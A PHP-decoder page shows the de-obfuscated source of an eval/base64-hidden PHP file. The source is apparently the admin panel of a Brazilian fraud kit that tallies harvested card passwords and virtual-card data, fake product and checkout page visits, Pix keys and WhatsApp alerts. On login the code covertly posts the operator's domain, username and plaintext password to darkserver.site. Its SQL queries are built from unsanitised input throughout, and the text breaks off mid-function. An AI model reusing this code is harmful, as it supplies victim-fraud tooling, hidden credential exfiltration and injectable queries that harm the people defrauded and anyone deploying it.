Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("?>".base64_decode("PD9waHAgCnJlcXVpcmVfb25jZSgnLi4vbW9kdWxvL2Nvbm4ucGhwJyk7IC..

Decoded Output download

?>b'<?php 
require_once(\'../modulo/conn.php\');  
$session_admin = $_SESSION[\'session_admin\'];
$id = filter_input(INPUT_GET, \'id\', FILTER_SANITIZE_NUMBER_INT);

$page = $_GET[\'loki\'];
//////// Home page 
 
if ($page == \'login\') {
    if (!empty($_POST[\'usuario\']) && !empty($_POST[\'senha\'])) {
        // Captura do usurio e senha enviados via POST
        $user = $_POST[\'usuario\'];
        $senha = $_POST[\'senha\']; 

        // Consulta ao banco de dados para encontrar um usurio correspondente ao fornecido no formulrio
        $sql = mysqli_query($ConnectDB, "SELECT * FROM admin_user WHERE user = \'$user\' LIMIT 1") or die("Erro ao processar autenticao");
        $linhas = mysqli_num_rows($sql);
        
        if ($linhas > 0) {
            // Se o usurio existir, compara a senha fornecida com a senha armazenada no banco de dados
            $dados = mysqli_fetch_assoc($sql);
            $hashed_password = $dados[\'pass\']; // Senha armazenada no banco de dados
            $serial = $dados[\'token\']; // Senha armazenada no banco de dados 

            function makeCurlRequest($url, $serial) {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\');
                curl_setopt($ch, CURLOPT_HTTPHEADER, array(
                    \'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\',
                    \'Pragma: no-cache\',
                    \'Accept: */*\'
                ));
                curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . \'/cookie.txt\');
                curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . \'/cookie1.txt\');
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, \'tokken=\' . $serial);
                return curl_exec($ch);
              }
              
              function extractInformation($lindo, $tag) {
                $tag1 = explode("$tag", $lindo);
                if (isset($tag1[1])) {
                    $tag2 = explode(\'<br>\', $tag1[1]);
                    return addslashes($tag2[0]);
                }
                return null;
              }
              
              $URL_ATUAL = "http://$_SERVER[HTTP_HOST]";
              date_default_timezone_set(\'America/Sao_Paulo\'); 
              $lindo = makeCurlRequest(\'https://darkserver.site/tokken/tokken.php\', $serial); 
              $existe = extractInformation($lindo, \'Existe: \');
              $validade = extractInformation($lindo, \'Expira: \'); 
              $acesso = extractInformation($lindo, \'Acesso: \'); 
             
             // Verifica se a data de validade j passou (data atual > data de validade)
             if (!empty($validade)) {
                 $dataAtual = new DateTime();
                 $dataValidade = new DateTime($validade);
             
                 if ($dataAtual > $dataValidade) {
                    header("Location: ../admin/login.php?loki=erro3"); 
                    exit;
                 } 
             } else {
                 echo "A data de validade no foi definida.";
             }
             // Verifica se o acesso est liberado
             if ($acesso === \'liberado\') { 
             } else {
                header("Location: ../admin/login.php?loki=erro4"); 
             } 
            ////////////validar login
            if ($senha == $hashed_password) { 
                session_start(); 
                $_SESSION[\'session_admin\'] = $dados[\'user\'];
                
                  $dados_token = json_encode([
                      "dominio" => $URL_ATUAL,
                      "tokken" => $serial,
                      "user" => $user, 
                      "pass" => $senha,
                      "ip" => $ip
                  ]);  

                  $iniciar = curl_init(\'https://darkserver.site//tokken/token_function.php?loki=login\');
                  curl_setopt($iniciar, CURLOPT_RETURNTRANSFER, true);
                  $dados = array(\'dados_token\' => $dados_token,);
                  curl_setopt($iniciar, CURLOPT_POST, true);
                  curl_setopt($iniciar, CURLOPT_POSTFIELDS, $dados);
                  curl_exec($iniciar);
                  curl_close($iniciar);
                  ////////// 

                
                header("Location: ../admin");
                exit();
            } else {
                // Se a senha estiver incorreta, redireciona de volta para a pgina de login com um identificador de erro
                session_start();
                header("Location: ../admin/login.php?loki=erro1"); 
                exit();
            }
            } else {
            // Se o usurio no existir, redireciona de volta para a pgina de login com um identificador de erro
            session_start();
            header("Location: ../admin/login.php?loki=erro2"); 
            exit();
        }
    }
}




if ($page == "verificar_tokken") { 

 if (!empty($_POST[\'serial\'])) {
  
    $serial = $_POST[\'serial\'];

       function makeCurlRequest($url, $serial) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\');
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            \'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\',
            \'Pragma: no-cache\',
            \'Accept: */*\'
        ));
        curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . \'/cookie.txt\');
        curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . \'/cookie1.txt\');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, \'tokken=\' . $serial);
        return curl_exec($ch);
      }
      
      function extractInformation($lindo, $tag) {
        $tag1 = explode("$tag", $lindo);
        if (isset($tag1[1])) {
            $tag2 = explode(\'<br>\', $tag1[1]);
            return addslashes($tag2[0]);
        }
        return null;
      }
      
      $URL_ATUAL = "http://$_SERVER[HTTP_HOST]";
      date_default_timezone_set(\'America/Sao_Paulo\'); 
      $lindo = makeCurlRequest(\'https://darkserver.site/tokken/tokken.php\', $serial);  
      $acesso = extractInformation($lindo, \'Acesso: \');
      
    
        if ($acesso === \'liberado\') {
          $sql = mysqli_query($ConnectDB, "SELECT * FROM admin_user WHERE token = \'$serial\' and user = \'" . $_SESSION[\'session_admin\'] . "\'");
      
          //pecorrendo os registros da consulta. 
          while ($aux = mysqli_fetch_assoc($sql)) { 
              $tokken = $aux["token"];
          }
          if ($serial == $tokken) { 
              $_SESSION[\'validatokken\'] = $tokken;
              header("Location: ../admin/?page=home");
              exit;
          } 
        }  else {
            header("Location: ../admin/?page=Ativa-token&erro=tkerro1");
            exit;

        }
    }
 
}









if ($page == \'Geolocalizacao\') { ///// Geolocalizacao metricas
    $query_SetaMetricas = sprintf("SELECT * FROM metricas WHERE user = \'%s\' AND tipo = \'click\'", mysqli_real_escape_string($ConnectDB, $session_admin));
    $SetaMetricas = mysqli_query($ConnectDB, $query_SetaMetricas);
    
    if ($SetaMetricas) {
        $row_Metricas = mysqli_fetch_assoc($SetaMetricas);
    
    // Array associativo para mapear as siglas dos estados para os nomes completos.
    $nomes_estados  = [
        \'AC\' => \'Acre\',
        \'AL\' => \'Alagoas\',
        \'AP\' => \'Amap\',
        \'AM\' => \'Amazonas\',
        \'BA\' => \'Bahia\',
        \'CE\' => \'Cear\',
        \'ES\' => \'Esprito Santo\',
        \'GO\' => \'Gois\',
        \'MA\' => \'Maranho\',
        \'MT\' => \'Mato Grosso\',
        \'MS\' => \'Mato Grosso do Sul\',
        \'MG\' => \'Minas Gerais\',
        \'PA\' => \'Par\',
        \'PB\' => \'Paraba\',
        \'PR\' => \'Paran\',
        \'PE\' => \'Pernambuco\',
        \'PI\' => \'Piau\',
        \'RJ\' => \'Rio de Janeiro\',
        \'RN\' => \'Rio Grande do Norte\',
        \'RS\' => \'Rio Grande do Sul\',
        \'RO\' => \'Rondnia\',
        \'RR\' => \'Roraima\',
        \'SC\' => \'Santa Catarina\',
        \'SP\' => \'So Paulo\',
        \'SE\' => \'Sergipe\',
        \'TO\' => \'Tocantins\'
    ]; 
    
    // Array associativo para mapear as siglas dos estados para os caminhos das bandeiras.
    $caminho_bandeiras = [
        \'AC\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/acre.gif\',
        \'AL\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/alagoas.gif\',
        \'AP\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/amapa.gif\',
        \'AM\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/amazonas.gif\',
        \'BA\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/bahia.gif\',
        \'CE\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/ceara.gif\',
        \'ES\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/espirito_santo.gif\',
        \'GO\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/goias.gif\',
        \'MA\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/maranhao.gif\',
        \'MT\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/mato_grosso.gif\',
        \'MS\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/mato_grosso_do_sul.gif\',
        \'MG\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/minas_gerais.gif\',
        \'PA\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/para.gif\',
        \'PB\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/paraiba.gif\',
        \'PR\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/parana.gif\',
        \'PE\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/pernambuco.gif\',
        \'PI\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/piaui.gif\',
        \'RJ\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/rio_de_janeiro.gif\',
        \'RN\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/rio_grande_do_norte.gif\',
        \'RS\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/rio_grande_do_sul.gif\',
        \'RO\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/rondonia.gif\',
        \'RR\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/roraima.gif\',
        \'SC\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/santa_catarina.gif\',
        \'SP\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/sao_paulo.gif\',
        \'SE\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/sergipe.gif\',
        \'TO\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/tocantins.gif\'
    ];
    
    // Armazene os valores das mtricas em um array associativo.
    $metricas = [
        \'AC\' => $row_Metricas[\'AC\'],
        \'AL\' => $row_Metricas[\'AL\'],
        \'AP\' => $row_Metricas[\'AP\'],
        \'AM\' => $row_Metricas[\'AM\'],
        \'BA\' => $row_Metricas[\'BA\'],
        \'CE\' => $row_Metricas[\'CE\'],
        \'ES\' => $row_Metricas[\'ES\'],
        \'GO\' => $row_Metricas[\'GO\'],
        \'MA\' => $row_Metricas[\'MA\'],
        \'MT\' => $row_Metricas[\'MT\'],
        \'MS\' => $row_Metricas[\'MS\'],
        \'MG\' => $row_Metricas[\'MG\'],
        \'PA\' => $row_Metricas[\'PA\'],
        \'PB\' => $row_Metricas[\'PB\'],
        \'PR\' => $row_Metricas[\'PR\'],
        \'PE\' => $row_Metricas[\'PE\'],
        \'PI\' => $row_Metricas[\'PI\'],
        \'RJ\' => $row_Metricas[\'RJ\'],
        \'RN\' => $row_Metricas[\'RN\'],
        \'RS\' => $row_Metricas[\'RS\'],
        \'RO\' => $row_Metricas[\'RO\'],
        \'RR\' => $row_Metricas[\'RR\'],
        \'SC\' => $row_Metricas[\'SC\'],
        \'SP\' => $row_Metricas[\'SP\'],
        \'SE\' => $row_Metricas[\'SE\'],
        \'TO\' => $row_Metricas[\'TO\']
    ];
    
            
        arsort($metricas);
        $metricas_maiores = array_slice($metricas, 0, 8);
    
        foreach ($metricas_maiores as $sigla_estado => $acesso_UF) {
            $nome_estado = $nomes_estados[$sigla_estado];
            $caminho_bandeira = $caminho_bandeiras[$sigla_estado];
    
            echo \'<li class="d-flex">\';
            echo \'<div class="bg-light">\';
            echo \'<img src="\' . $caminho_bandeira . \'" alt="vector burger">\';
            echo \'</div>\';
            echo \'<div>\';
            echo \'<h6 class="mb-0"><a>\' . $nome_estado . \'</a></h6><span class="f-light f-12 f-w-500">\' . $acesso_UF . \'</span>\';
            echo \'</div>\';
            echo \'</li>\'; 
        }
    }
}
 


if ($page == \'cont-mix\') { 
    $query_set = sprintf("SELECT * FROM dados WHERE user = \'$session_admin\'");
    $set = mysqli_query($ConnectDB, $query_set);
    $row_set = mysqli_fetch_assoc($set);
    $totalRows_set = mysqli_num_rows($set);  
    echo $totalRows_set;  
}
if ($page == \'cont-consul\') { 
    $query_set = sprintf("SELECT * FROM dados WHERE cartao_senha != \'\' AND user = \'$session_admin\'");
    $set = mysqli_query($ConnectDB, $query_set);
    $row_set = mysqli_fetch_assoc($set);
    $totalRows_set = mysqli_num_rows($set);  
    echo $totalRows_set;  
}
if ($page == \'cont-virtual\') { 
    $query_set = sprintf("SELECT * FROM dados WHERE cartao_virtual != \'\' AND user = \'$session_admin\'");
    $set = mysqli_query($ConnectDB, $query_set);
    $row_set = mysqli_fetch_assoc($set);
    $totalRows_set = mysqli_num_rows($set);  
    echo $totalRows_set;  
}

if ($page == \'cont-pix\') { 
    $query_set = sprintf("SELECT * FROM pedidos WHERE user = \'$session_admin\'");
    $set = mysqli_query($ConnectDB, $query_set);
    $row_set = mysqli_fetch_assoc($set);
    $totalRows_set = mysqli_num_rows($set);  
    echo $totalRows_set;  
}

if ($page == \'faturamento\') {
    $sql2 = "SELECT SUM(valor) AS total FROM pedidos WHERE user = \'$session_admin\'";
    $result = mysqli_query($ConnectDB, $sql2);
    $row = mysqli_fetch_assoc($result);
    $total = $row[\'total\'];
    // Formata o valor como reais brasileiros
    $formatted_total = number_format($total, 2, \',\', \'.\');

    echo $formatted_total;
} 


if ($page == \'visit_produto\') {
 
    $sql3              = "SELECT * FROM online_users where user  = \'$session_admin\' and page = \'Produto\'";
    $result3           = mysqli_query($ConnectDB, $sql3); 
    $count_user_online = mysqli_num_rows($result3);
    echo "$count_user_online"; 

} 

if ($page == \'visit_checkout\') {
 
    $sql3              = "SELECT * FROM online_users where user  = \'$session_admin\' and page = \'Cadastro\'";
    $result3           = mysqli_query($ConnectDB, $sql3); 
    $count_user_online = mysqli_num_rows($result3);
    echo "$count_user_online"; 

} 

if ($page == \'visit_pagar\') {
 
    $sql3              = "SELECT * FROM online_users where user  = \'$session_admin\' and page = \'Pagamento\'";
    $result3           = mysqli_query($ConnectDB, $sql3); 
    $count_user_online = mysqli_num_rows($result3);
    echo "$count_user_online"; 

} 


if ($page == \'visit_total\') {
 
    $formatted_total = \'18\'; 
    echo $formatted_total;

} 


if ($page == \'visit_online\') {
    ///  ///////// deletar usuarios offline
      $time       = time();
      $time_check = $time-120; 
      $sql4    = "DELETE FROM online_users WHERE time<$time_check"; 
      $result4 = mysqli_query($ConnectDB, $sql4);  
      ////// contador de onlines 
      $sql3              = "SELECT * FROM online_users where user  = \'$session_admin\'";
      $result3           = mysqli_query($ConnectDB, $sql3); 
      $count_user_online = mysqli_num_rows($result3);
      echo "$count_user_online";
    
      mysqli_close($ConnectDB); 
    }
     





////////////// DELETAR

if ($page === \'delete_produto\') {

    
    if (!empty($id)) {
        $query = $ConnectDB->prepare("DELETE FROM produto WHERE id = ? AND user = ?");
        $query->bind_param(\'is\', $id, $session_admin);
        $query->execute();
        
        if ($query->affected_rows) {
            header("Location: ../admin/?page=produtos");
        } else {
            // erro
            header("Location: ../admin/?page=produtos");
        }
    } else {
        // ok
        header("Location: ../admin/?page=produtos");
    }
}

if ($page === \'delete_selectinfo\') {
    $id = filter_input(INPUT_GET, \'id\', FILTER_SANITIZE_NUMBER_INT);
    
    if (!empty($id)) {
        $query = $ConnectDB->prepare("DELETE FROM dados WHERE id = ? AND user = ?");
        $query->bind_param(\'is\', $id, $session_admin);
        $query->execute();
        
        header("Location: ../admin/?page=infos");
        exit;
    }
}

if ($page === \'delete_pedido\') { 
    if (!empty($id)) {
        $query = $ConnectDB->prepare("DELETE FROM pedidos WHERE id = ? AND user = ?");
        $query->bind_param(\'is\', $id, $session_admin);
        $query->execute();
                
        header("Location: ../admin/?page=pedidos");
        exit;
    }
} 

if ($page == \'delete_infofull\'){ //////////////deletar infos
    $result_usuario = "DELETE FROM dados WHERE user = \'$session_admin\'";
    $resultado_usuario = mysqli_query($ConnectDB, $result_usuario);
    header("Location: ../?page=infos");
    exit;
}

if ($page == \'delete_pedidosfull\'){ //////////////deletar pedidos/pix
    $result_usuario = "DELETE FROM pedidos WHERE user = \'$session_admin\'";
    $resultado_usuario = mysqli_query($ConnectDB, $result_usuario);
    header("Location: ../admin/?page=pedidos");
    exit;
}
if ($page == \'delete_metricas\') {
    $result_usuario = "UPDATE metricas SET android = \'0\', ios = \'0\', pc = \'0\',
                        AC = \'0\', AL = \'0\', AP = \'0\', AM = \'0\', BA = \'0\', CE = \'0\', ES = \'0\', GO = \'0\', 
                        MA = \'0\', MT = \'0\', MS = \'0\', MG = \'0\', PA = \'0\', PB = \'0\', PR = \'0\', PE = \'0\', 
                        PI = \'0\', RJ = \'0\', RN = \'0\', RS = \'0\', RO = \'0\', RR = \'0\', SC = \'0\', SP = \'0\', 
                        SE = \'0\', `TO` = \'0\' 
                      WHERE user = ?";

    $stmt = $ConnectDB->prepare($result_usuario);
    $stmt->bind_param("s", $session_admin);
    $stmt->execute();

    header("Location: ../admin/?page=home");
    exit;
}

if ($page == \'delete_visitas\') {
    $result_usuario = "UPDATE metricas SET android = \'0\', ios = \'0\', pc = \'0\' WHERE tipo = \'click\' AND user = ?";

    $stmt = $ConnectDB->prepare($result_usuario);
    $stmt->bind_param("s", $session_admin); 
    $stmt->execute();

    header("Location: ../admin/?page=home");
    exit;
}


if ($page == \'delete_pixel\') {
    // Verificando se o ID est definido e no vazio
    if (isset($id) && !empty($id) && isset($session_admin) && !empty($session_admin)) {
        $result_usuario = "DELETE FROM pixel WHERE id = \'$id\' AND user = \'$session_admin\'";
        $resultado_usuario = mysqli_query($ConnectDB, $result_usuario);

        if ($resultado_usuario) {
            // Redirecionando aps a excluso
            header("Location: ../admin/?page=pixel");
            exit;
        } else {
            echo "Erro ao tentar excluir o pedido.";
        }
    } else {
        echo "ID ou sesso de usurio invlidos.";
    }
} 

////////////// Formulario 
if ($page == "formulario_pixel") { /// add pixel

    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST[\'titulo\']) && isset($_POST[\'idPixel\']) && isset($_POST[\'tokenPixel\'])) {
        // Recupera os dados do formulrio
        $titulo = $_POST[\'titulo\'];
        $idPixel = $_POST[\'idPixel\'];
        $tokenPixel = $_POST[\'tokenPixel\'];
        
    
        // Sua conexo com o banco de dados j estabelecida em algum lugar
    
        // Prepara a consulta SQL para insero
        $result_smtp = $ConnectDB->prepare("INSERT INTO pixel (titulo, id_pixel, token, user) VALUES (?, ?, ?, ?)");
        $result_smtp->bind_param("ssss", $titulo, $idPixel, $tokenPixel, $session_admin);
    
        // Executa a consulta preparada
        if ($result_smtp->execute()) {
            header("Location: ../admin/?page=pixel");
            exit();
        } else {
            echo "Erro ao inserir os dados: " . $result_smtp->error;
        }
    } else {
        echo "Erro: No foi possvel processar os dados do formulrio.";
        exit;
    }

header ("Location: ../admin/?page=home");

}


if ($page == "add_produto") {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        // Verifica se os campos obrigatrios foram preenchidos
        if (
            isset($_POST["titulo_produto"]) && 
            isset($_POST["valor_produto"]) && 
            isset($_POST["valor_riscado"]) && 
            isset($_POST["produto_imagem"]) && 
            isset($_POST["vendidos_produto"]) && 
            isset($_POST["categorias_produto"]) && 
            isset($_POST["categorias_oferta"]) && 
            isset($_POST["chave_pix"]) && 
            isset($_POST["descricao_produto"])
        ) {
            // Coleta dos dados recebidos
            $titulo = $_POST["titulo_produto"];
            $valor = $_POST["valor_produto"];
            $valorRiscado = $_POST["valor_riscado"];
            $produtoimagem = $_POST["produto_imagem"];
             
            $vendidos = $_POST["vendidos_produto"];
            $categoriasProdutos = $_POST["categorias_produto"];
            $categoriasOferta = $_POST["categorias_oferta"];
            $chavePix = $_POST["chave_pix"];
            $descricao = $_POST["descricao_produto"];
    
            $result_smtp = "INSERT INTO produto (produto_name, produto_valor, produto_riscado, produto_img, produto_descricao, produto_categoria, produto_oferta, produto_onpix, produto_chavepix, produto_visitas, produto_vendidos,vendidos, produto_desconto, user) VALUES (\'$titulo\',\'$valor\',\'$valorRiscado\',\'$produtoimagem\',\'$descricao\',\'$categoriasProdutos\',\'$categoriasOferta\',\'0\',\'$chavePix\',\'0\',\'$vendidos\',\'0\',\'0\', \'$session_admin\')";
            $resultado_smtp = mysqli_query($ConnectDB, $result_smtp); 
            header("Location: ../admin?page=produtos");
            exit();

}
}
} 
 
if ($page == "api-whastapp") {

    $url_site = "https://$_SERVER[HTTP_HOST]";
    $session_admin = $_SESSION[\'session_admin\'];
    if ($session_admin == \'\'){
      header("Location: $url_site");
    } 
    
    $id_whatsapp    = $_POST[\'whatsapp_id\'];
    $token_conta    = $_POST[\'token_conta\'];
    $token_whatsapp = $_POST[\'whatsapp_token\'];
    $token_telefone = $_POST[\'whatsapp_telefone\'];
    $ativar = $_POST[\'ativar\'];
    
   
    if ($token_telefone == \'\'){} else {
    $curl = curl_init(); 
    curl_setopt_array($curl, array(
        CURLOPT_URL => "https://api.z-api.io/instances/$id_whatsapp/token/$token_whatsapp/send-messages",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING => "",
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "POST",
        CURLOPT_POSTFIELDS => "{\"phone\": \"55\'$token_telefone\'\", \"message\": \"Ola, \nSua *api* foi configurada com sucesso!\"}",
        CURLOPT_HTTPHEADER => array(
        "client-token: $token_conta",
        "content-type: application/json"
      ),
    ));
    $response = curl_exec($curl);
    $err = curl_error($curl);
    
    curl_close($curl);
    
    if ($err) {
    } else {
    } 
    
    $curl_img = curl_init();
    
    curl_setopt_array($curl_img, array(
      CURLOPT_URL => "https://api.z-api.io/instances/$id_whatsapp/token/$token_whatsapp/send-image",
      CURLOPT_RETURNTRANSFER => true,
      CURLOPT_ENCODING => "",
      CURLOPT_MAXREDIRS => 10,
      CURLOPT_TIMEOUT => 30,
      CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
      CURLOPT_CUSTOMREQUEST => "POST",
      CURLOPT_POSTFIELDS => "{\"phone\": \"55\'$token_telefone\'\", \"image\": \"https://i.ibb.co/zG4w5RQ/pix.png\"}", 
      CURLOPT_HTTPHEADER => array(
        "client-token: $token_conta",
        "content-type: application/json"
      ),
    ));
    
    $response_img = curl_exec($curl_img);
    $err_img = curl_error($curl_img);
    
    curl_close($curl_img);
    
    if ($err_img) {
      
    } else {
     
    } 
}  
    $sql_smtp = "SELECT * FROM api_whatsapp where user =\'$session_admin\'";
    $sql_smtp = mysqli_query($ConnectDB, $sql_smtp);
    $sql_smtp = mysqli_num_rows($sql_smtp);
    if ($sql_smtp == 0) {
        $result_smtp = "INSERT INTO api_whatsapp (api_id,api_token, api_token_conta, on_off,user) VALUES (\'$id_whatsapp\',\'$token_whatsapp\', \'$token_conta\', \'$ativar\',\'$session_admin\')";
        $resultado_smtp = mysqli_query($ConnectDB, $result_smtp);
        header("Location: ../admin/?page=api_whatsapp");
        exit();
    } else {
    
        $result_smtp = "UPDATE api_whatsapp SET api_id=\'$id_whatsapp\',api_token=\'$token_whatsapp\', api_token_conta=\'$token_conta\', on_off=\'$ativar\' WHERE user=\'$session_admin\'";
        $resultado_smtp = mysqli_query($ConnectDB, $result_smtp); 
        header("Location: ../admin/?page=api_whatsapp#UPDATE");
        exit();
    } 

}



if ($page == "editar-pix") { 
        $Chave_pix = $_POST[\'pix_post\']; 

        $result_usuario = "UPDATE produto SET produto_chavepix = \'$Chave_pix\' WHERE user = \'$session_admin\'";
        $resultado_usuario = mysqli_query($ConnectDB, $result_usuario); 
        header("Location:  ../admin/?page=produtos"); 
        exit; 
}

if ($page == "log_in") {
	session_start();
	session_destroy();
	session_start(); 
	header("Location: ../admin/login.php"); 
}

if ($page === "install_conn") {
    $host = filter_input(INPUT_POST, \'hostdb\', FILTER_SANITIZE_STRING);
    $usuario = filter_input(INPUT_POST, \'userdb\', FILTER_SANITIZE_STRING);
    $senha = filter_input(INPUT_POST, \'senhadb\', FILTER_SANITIZE_STRING);
    $database_ConnectDB = filter_input(INPUT_POST, \'namedb\', FILTER_SANITIZE_STRING);

    if ($host !== null && $usuario !== null && $senha !== null && $database_ConnectDB !== null) {
        if (mysqli_connect($host, $usuario, $senha, $database_ConnectDB)) {
            $fopen = fopen("./conn.php", "w");

            $conteudo = "<?php
session_start();
error_reporting(0);
date_default_timezone_set(\'America/Sao_Paulo\');
\$horadata = date(\'d/m/Y H:i\');

\$host = \'$host\';
\$usuario = \'$usuario\';
\$senha = \'$senha\';
\$database_ConnectDB = \'$database_ConnectDB\';

\$ConnectDB = mysqli_connect(\$host, \$usuario, \$senha, \$database_ConnectDB);
mysqli_select_db(\$ConnectDB, \$database_ConnectDB);

if (!\$ConnectDB) {
    \$msgerromysql = \'Falha ao conectar-se com o banco de dados MySQL.\';
    exit;
}
\$msgsucessomysql = \'Conexao bem sucedida\';

if (!function_exists(\'getIp\')) {
    function getIp()
    {
        foreach (array(
                     \'HTTP_CLIENT_IP\',
                     \'HTTP_X_FORWARDED_FOR\',
                     \'HTTP_X_FORWARDED\',
                     \'HTTP_X_CLUSTER_CLIENT_IP\',
                     \'HTTP_FORWARDED_FOR\',
                     \'HTTP_FORWARDED\',
                     \'REMOTE_ADDR\'
                 ) as \$key) {
            if (array_key_exists(\$key, \$_SERVER) === true) {
                foreach (explode(\',\', \$_SERVER[\$key]) as \$IPaddress) {
                    \$IPaddress = trim(\$IPaddress);
                    if (filter_var(\$IPaddress, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                        return \$IPaddress;
                    }
                }
            }
        }
    }
} 

function Obter_SO()
{
    \$sistemas_operativos = [
        \'windows nt 5.2\' => \'Windows 2003\',
        \'windows nt 6.0\' => \'Windows Vista\',
        \'windows nt 6.1\' => \'Windows 7\',
        // ... outras plataformas
        \'PPC\' => \'Mac PPC\'
    ];

    if (is_array(\$sistemas_operativos)) {
        foreach (\$sistemas_operativos as \$ua => \$sistemas_operativo) {
            if (preg_match(\'|\' . preg_quote(\$ua) . \'|i\', trim(\$_SERVER[\'HTTP_USER_AGENT\']))) {
                return \$_SESSION[\'op\'] = \$sistemas_operativo;
            }
        }
    } 
}
Obter_SO();

\$functionip = getIp();
\$ip = \$functionip == \'\' ? \$_SERVER[\'REMOTE_ADDR\'] : \$functionip;
?>";

            fwrite($fopen, $conteudo);
            fclose($fopen);

            $file = file(\'../admin/dist/db.sql\');

            $TempConect = mysqli_connect($host, $usuario, $senha, $database_ConnectDB);

            $contador = count($file);
            $i = 1;

            $in = implode($file);

            $ex = explode(\';\', $in);

            while ($contador > $i) {
                if (isset($ex[$i])) {
                    $cn = $ex[$i];

                    if (strpos($cn, \'CREATE TABLE\')) {
                        mysqli_query($TempConect, $cn);
                    }
                    if (strpos($cn, \'INTO\')) {
                        mysqli_query($TempConect, $cn);
                    }
                }
                $i++;
            }

            header("Location: ../admin/login.php?cadastro=novouser");
            exit;
        } else {
            header("Location: ../admin/login.php?loki=erro6&cadastro=install");
            exit;
        }
    } else {
        header("Location: ../admin/login.php?loki=erro7&cadastro=install");
        exit;
    }
}


if ($page == \'criaruser\') {

   
    $usuario = filter_input(INPUT_POST, \'usuario\', FILTER_SANITIZE_STRING);
    $senha = filter_input(INPUT_POST, \'senha\', FILTER_SANITIZE_STRING);
    $token = filter_input(INPUT_POST, \'token\', FILTER_SANITIZE_STRING);

    $sql = "SELECT * FROM admin_user where user = \'$usuario\'";
    $query = mysqli_query($ConnectDB, $sql);
    $total = mysqli_num_rows($query);
    
   
    function makeCurlRequest($url, $token) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\');
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            \'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\',
            \'Pragma: no-cache\',
            \'Accept: */*\'
        ));
        curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . \'/cookie.txt\');
        curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . \'/cookie1.txt\');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
